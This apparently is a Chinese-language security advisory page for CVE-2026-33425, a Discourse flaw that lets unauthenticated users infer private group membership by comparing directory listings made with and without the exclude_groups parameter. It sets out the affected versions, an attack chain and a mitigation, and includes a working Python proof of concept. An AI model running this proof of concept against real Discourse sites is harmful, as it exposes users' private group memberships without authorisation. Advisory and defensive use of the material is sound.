IPBUF安全漏洞报告
English
CVE-2026-33425 CVSS 5.3 中危

CVE-2026-33425 Discourse私有组成员枚举漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-33425
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

信息泄露Discourse权限绕过CVE-2026-33425

漏洞概述

Discourse是一个广泛使用的开源讨论平台。在2026.3.0-latest.1、2026.2.1和2026.1.2之前的版本中存在一个信息泄露漏洞。未经身份验证的远程攻击者可以通过利用`exclude_groups`参数,观察用户目录搜索结果的变化,从而推断特定用户是否为私有组的成员。此漏洞绕过了访问控制,导致敏感的用户组织架构信息泄露。

技术细节

该漏洞产生于Discourse用户目录接口的过滤机制实现不当。攻击者无需登录即可访问用户目录,并利用`exclude_groups`参数请求过滤特定组后的用户列表。通过比对过滤前后的列表差异,攻击者可以确定某个用户是否属于被过滤的私有组。例如,如果用户A在常规列表中存在,但在排除“private_group”的列表中消失,即可断定用户A是该组成员。这种侧信道攻击方式允许攻击者在没有任何权限的情况下,系统性地图析出私有组的成员结构,从而获取本应受保护的敏感组织架构信息。

攻击链分析

STEP 1
侦察
攻击者识别目标Discourse实例,并通过公开渠道或枚举获取目标用户名或ID以及潜在的私有组名称。
STEP 2
探测
攻击者向用户目录API发送请求,分别获取正常的用户列表以及带有exclude_groups参数(排除特定私有组)的用户列表。
STEP 3
差异分析
对比两次请求的响应结果。如果目标用户在正常列表中出现,而在排除特定组的列表中消失,则判定该用户属于该私有组。
STEP 4
信息窃取
攻击者利用该逻辑批量验证多个用户与多个私有组的关系,从而构建出完整的私有组成员架构图。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example.com" endpoint = "/directory_items" # Assume we found a user ID and a private group name suspect_user_id = "123" # ID of the user we want to check private_group_name = "confidential_staff" # Name of the private group # Step 1: Get default directory listing params_default = { "period": "all", "order": "created" } response_default = requests.get(f"{target_url}{endpoint}", params=params_default) user_exists_default = suspect_user_id in response_default.text # Step 2: Get directory listing excluding the specific private group params_exclude = { "period": "all", "order": "created", "exclude_groups": private_group_name } response_exclude = requests.get(f"{target_url}{endpoint}", params=params_exclude) user_exists_excluded = suspect_user_id in response_exclude.text # Step 3: Analyze the difference # If the user exists in default view but disappears when the group is excluded, # they are likely a member of that private group. if user_exists_default and not user_exists_excluded: print(f"[+] Confirmed: User ID {suspect_user_id} is a member of '{private_group_name}'.") elif user_exists_default and user_exists_excluded: print(f"[-] User ID {suspect_user_id} is likely NOT a member of '{private_group_name}'.") else: print(f"[?] User ID {suspect_user_id} not found or visibility settings changed.")

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
作为临时缓解措施,管理员可以通过后台设置(Admin → Settings)启用“hide user profiles from public”选项,从而禁用公众对用户目录的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表